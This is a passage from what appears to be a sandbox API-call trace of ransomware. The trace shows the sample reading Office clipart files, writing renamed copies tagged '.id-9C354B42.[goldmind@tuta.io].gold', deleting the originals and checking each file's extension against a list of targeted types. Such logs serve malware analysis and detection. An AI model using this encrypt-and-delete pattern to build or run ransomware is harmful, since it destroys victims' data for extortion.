dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.618] GetLastError () returned 0x0 [0113.619] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3fe2, lpOverlapped=0x0) returned 1 [0113.628] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3ff0, lpOverlapped=0x0) returned 1 [0113.629] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.629] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.629] SetEndOfFile (hFile=0x3b8) returned 1 [0113.629] CloseHandle (hObject=0x3b8) returned 1 [0113.630] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.630] SetEndOfFile (hFile=0x3e0) returned 1 [0113.631] CloseHandle (hObject=0x3e0) returned 1 [0113.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf")) returned 1 [0113.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.694] lstrlenW (lpString=".doc") returned 4 [0113.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.694] lstrlenW (lpString=".docx") returned 5 [0113.694] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.694] lstrlenW (lpString=".pdf") returned 4 [0113.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.694] lstrlenW (lpString=".xls") returned 4 [0113.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.694] lstrlenW (lpString=".xlsx") returned 5 [0113.694] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.695] lstrlenW (lpString=".ppt") returned 4 [0113.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.695] lstrlenW (lpString=".zip") returned 4 [0113.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.695] lstrlenW (lpString=".rar") returned 4 [0113.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString=".bz2") returned 4 [0113.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString=".7z") returned 3 [0113.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.695] lstrlenW (lpString=".dbf") returned 4 [0113.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.695] lstrlenW (lpString=".1cd") returned 4 [0113.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.695] lstrlenW (lpString=".jpg") returned 4 [0113.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.695] lstrlenW (lpString=".doc") returned 4 [0113.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString=".docx") returned 5 [0113.695] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.695] lstrlenW (lpString=".pdf") returned 4 [0113.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString=".xls") returned 4 [0113.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.695] lstrlenW (lpString=".xlsx") returned 5 [0113.695] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.695] lstrlenW (lpString=".ppt") returned 4 [0113.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.695] lstrlenW (lpString=".zip") returned 4 [0113.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.695] lstrlenW (lpString=".rar") returned 4 [0113.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString=".bz2") returned 4 [0113.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.695] lstrlenW (lpString=".7z") returned 3 [0113.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.696] lstrlenW (lpString=".dbf") returned 4 [0113.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.696] lstrlenW (lpString=".1cd") returned 4 [0113.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned 63 [0113.696] lstrlenW (lpString=".jpg") returned 4 [0113.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.696] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.696] lstrlenW (lpString="J0187851.WMF") returned 12 [0113.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.718] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8732) returned 1 [0113.718] CloseHandle (hObject=0x3f8) returned 1 [0113.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf")) returned 0x20 [0113.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.719] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.719] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.720] GetLastError () returned 0x0 [0113.720] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x221c, lpOverlapped=0x0) returned 1 [0113.722] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0113.723] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.723] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.723] SetEndOfFile (hFile=0x3b8) returned 1 [0113.723] CloseHandle (hObject=0x3b8) returned 1 [0113.723] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.723] SetEndOfFile (hFile=0x3f8) returned 1 [0113.725] CloseHandle (hObject=0x3f8) returned 1 [0113.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf")) returned 1 [0113.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.726] lstrlenW (lpString=".doc") returned 4 [0113.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.726] lstrlenW (lpString=".docx") returned 5 [0113.726] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.726] lstrlenW (lpString=".pdf") returned 4 [0113.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.726] lstrlenW (lpString=".xls") returned 4 [0113.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.726] lstrlenW (lpString=".xlsx") returned 5 [0113.726] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.726] lstrlenW (lpString=".ppt") returned 4 [0113.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.726] lstrlenW (lpString=".zip") returned 4 [0113.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.726] lstrlenW (lpString=".rar") returned 4 [0113.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.726] lstrlenW (lpString=".bz2") returned 4 [0113.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.726] lstrlenW (lpString=".7z") returned 3 [0113.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.726] lstrlenW (lpString=".dbf") returned 4 [0113.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.727] lstrlenW (lpString=".1cd") returned 4 [0113.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.727] lstrlenW (lpString=".jpg") returned 4 [0113.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.727] lstrlenW (lpString=".doc") returned 4 [0113.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.727] lstrlenW (lpString=".docx") returned 5 [0113.727] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.727] lstrlenW (lpString=".pdf") returned 4 [0113.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.727] lstrlenW (lpString=".xls") returned 4 [0113.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.727] lstrlenW (lpString=".xlsx") returned 5 [0113.727] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.727] lstrlenW (lpString=".ppt") returned 4 [0113.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.727] lstrlenW (lpString=".zip") returned 4 [0113.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.727] lstrlenW (lpString=".rar") returned 4 [0113.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.727] lstrlenW (lpString=".bz2") returned 4 [0113.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.727] lstrlenW (lpString=".7z") returned 3 [0113.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.728] lstrlenW (lpString=".dbf") returned 4 [0113.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.728] lstrlenW (lpString=".1cd") returned 4 [0113.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0113.728] lstrlenW (lpString=".jpg") returned 4 [0113.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.728] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.728] lstrlenW (lpString="J0187859.WMF") returned 12 [0113.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.729] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2732) returned 1 [0113.729] CloseHandle (hObject=0x3f8) returned 1 [0113.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf")) returned 0x20 [0113.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.729] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.729] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.730] GetLastError () returned 0x0 [0113.730] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xaac, lpOverlapped=0x0) returned 1 [0113.732] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0113.733] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.733] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.733] SetEndOfFile (hFile=0x3b8) returned 1 [0113.733] CloseHandle (hObject=0x3b8) returned 1 [0113.733] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.733] SetEndOfFile (hFile=0x3f8) returned 1 [0113.735] CloseHandle (hObject=0x3f8) returned 1 [0113.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf")) returned 1 [0113.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.737] lstrlenW (lpString=".doc") returned 4 [0113.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.737] lstrlenW (lpString=".docx") returned 5 [0113.737] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.738] lstrlenW (lpString=".pdf") returned 4 [0113.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.738] lstrlenW (lpString=".xls") returned 4 [0113.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.738] lstrlenW (lpString=".xlsx") returned 5 [0113.738] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.738] lstrlenW (lpString=".ppt") returned 4 [0113.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.738] lstrlenW (lpString=".zip") returned 4 [0113.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.738] lstrlenW (lpString=".rar") returned 4 [0113.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.738] lstrlenW (lpString=".bz2") returned 4 [0113.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.738] lstrlenW (lpString=".7z") returned 3 [0113.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.738] lstrlenW (lpString=".dbf") returned 4 [0113.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.738] lstrlenW (lpString=".1cd") returned 4 [0113.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.738] lstrlenW (lpString=".jpg") returned 4 [0113.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.738] lstrlenW (lpString=".doc") returned 4 [0113.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.738] lstrlenW (lpString=".docx") returned 5 [0113.738] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.738] lstrlenW (lpString=".pdf") returned 4 [0113.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.738] lstrlenW (lpString=".xls") returned 4 [0113.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.738] lstrlenW (lpString=".xlsx") returned 5 [0113.739] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.739] lstrlenW (lpString=".ppt") returned 4 [0113.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.739] lstrlenW (lpString=".zip") returned 4 [0113.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.739] lstrlenW (lpString=".rar") returned 4 [0113.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.739] lstrlenW (lpString=".bz2") returned 4 [0113.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.739] lstrlenW (lpString=".7z") returned 3 [0113.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.739] lstrlenW (lpString=".dbf") returned 4 [0113.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.739] lstrlenW (lpString=".1cd") returned 4 [0113.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0113.739] lstrlenW (lpString=".jpg") returned 4 [0113.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.739] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.739] lstrlenW (lpString="J0187861.WMF") returned 12 [0113.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.740] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=9108) returned 1 [0113.740] CloseHandle (hObject=0x3f8) returned 1 [0113.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf")) returned 0x20 [0113.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.741] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.741] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.742] GetLastError () returned 0x0 [0113.742] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2394, lpOverlapped=0x0) returned 1 [0113.743] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x23a0, lpOverlapped=0x0) returned 1 [0113.744] ReadFile (in: 